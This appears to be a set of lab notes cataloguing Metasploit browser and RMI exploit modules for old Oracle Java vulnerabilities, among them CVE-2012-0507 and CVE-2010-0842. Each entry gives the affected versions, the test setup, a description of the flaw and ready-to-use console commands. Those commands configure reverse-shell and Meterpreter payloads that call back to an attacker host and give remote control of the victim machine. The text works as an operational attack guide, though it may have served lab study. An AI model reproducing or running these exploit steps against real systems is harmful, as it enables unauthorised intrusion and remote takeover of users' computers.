Reference(s) :

CVE-2012-0507
OSVDB-80724
Oracle Java SE Critical Patch Update Advisory – February 2012

Affected version(s) :

Oracle Java SE 7 Update 2 and before
Oracle Java SE 6 Update 30 and before
Oracle Java SE 5.0 Update 33 and before

Tested on Windows XP Pro SP3 with :

Oracle Java SE 6 Update 16
Internet Explorer 8

Description :

This module exploits a vulnerability due to the fact that AtomicReferenceArray uses the Unsafe class to store a reference in an array directly, which may violate type safety if not used properly. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.

Commands :

use exploit/multi/browser/java_atomicreferencearray
SET SRVHOST 192.168.178.100
SET PAYLOAD generic/shell_reverse_tcp
set LHOST 192.168.178.100

TSL20120214-01
Oracle Java SE Critical Patch Update Advisory – February 2012

Affected version(s) :

Oracle Java Development Kit (JDK) 6 Update 30 and prior
Oracle Java Development Kit (JDK) 7 Update 2 and prior
Oracle JavaFX 2.0.2 and prior
Oracle Java Runtime Environment (JRE) 6 Update 30 and prior
Oracle Java Runtime Environment (JRE) 7 Update 2 and prior

Tested on Windows XP Pro SP3 with :

Java 6 Update 30
Internet Explorer 8

Description :

This module exploits a flaw in the Web Start component of the Sun Java Runtime Environment. The arguments passed to Java Web Start are not properly validated, allowing injection of arbitrary arguments to the JVM. By utilizing the lesser known -J option, an attacker can take advantage of the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method allows an attacker to execute arbitrary code in the context of an unsuspecting browser user. In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.

Commands :

use exploit/windows/browser/java_ws_vmargs
set SRVHOST 192.168.178.100
SET PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.100

Reference(s) :

CVE-2010-0842
OSVDB-63493
ZDI-10-060

Affected version(s) :

Java 6 before or equal to update 18

Tested on Windows 7 Integral with :

Java 6 Update 18
Internet Explorer 9

Description :

This module exploits a flaw within the handling of MixerSequencer objects in Java 6u18 and before. Exploitation id done by supplying a specially crafted MIDI file within an RMF File. When the MixerSequencer objects is used to play the file, the GM_Song structure is populated with a function pointer provided by a SONG block in the RMF. A Midi block that contains a MIDI with a specially crafted controller event is used to trigger the vulnerability. When triggering the vulnerability “ebx” points to a fake event in the MIDI file which stores the shellcode. A “jmp ebx” from msvcr71.dll is used to make the exploit reliable over java updates.

Commands :

use exploit/windows/browser/java_mixer_sequencer
set SRVHOST 192.168.178.100
SET PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.100

Oracle Java SE CPU October 2011

Affected version(s) :

JDK and JRE 7, 6 Update 27 and before

Tested on Windows XP Pro SP3 with :

Java JSE 6 Update 26

Description :

This module exploits a vulnerability in the Rhino Script Engine that can be used by a Java Applet to run arbitrary Java code outside of the sandbox. The vulnerability affects version 7 and version 6 update 27 and earlier, and should work on any browser that supports Java (for example: IE, Firefox, Google Chrome, etc)

Commands :

use exploit/multi/browser/java_rhino
set SRVHOST 192.168.178.21

Java RMI Server Insecure Default Configuration Java Code Execution

Vulnerability discovered by mihi
Metasploit exploit released the 2011-07-15

PoC provided by :

mihi

Reference(s) :

Oracle Java RMI documentation

Affected version(s) :

All JSE versions

Tested on Windows XP SP3 with :

JSE 7 (build 1.7.0-b147)

Description :

This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication.

Commands :

On windows target box :

cd C:\Program Files\Java\jre7\bin
start rmiregistry.exe

On Metasploit box :

use exploit/multi/misc/java_rmi_server
set RHOST 192.168.178.48
set SRVHOST 192.168.178.21
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
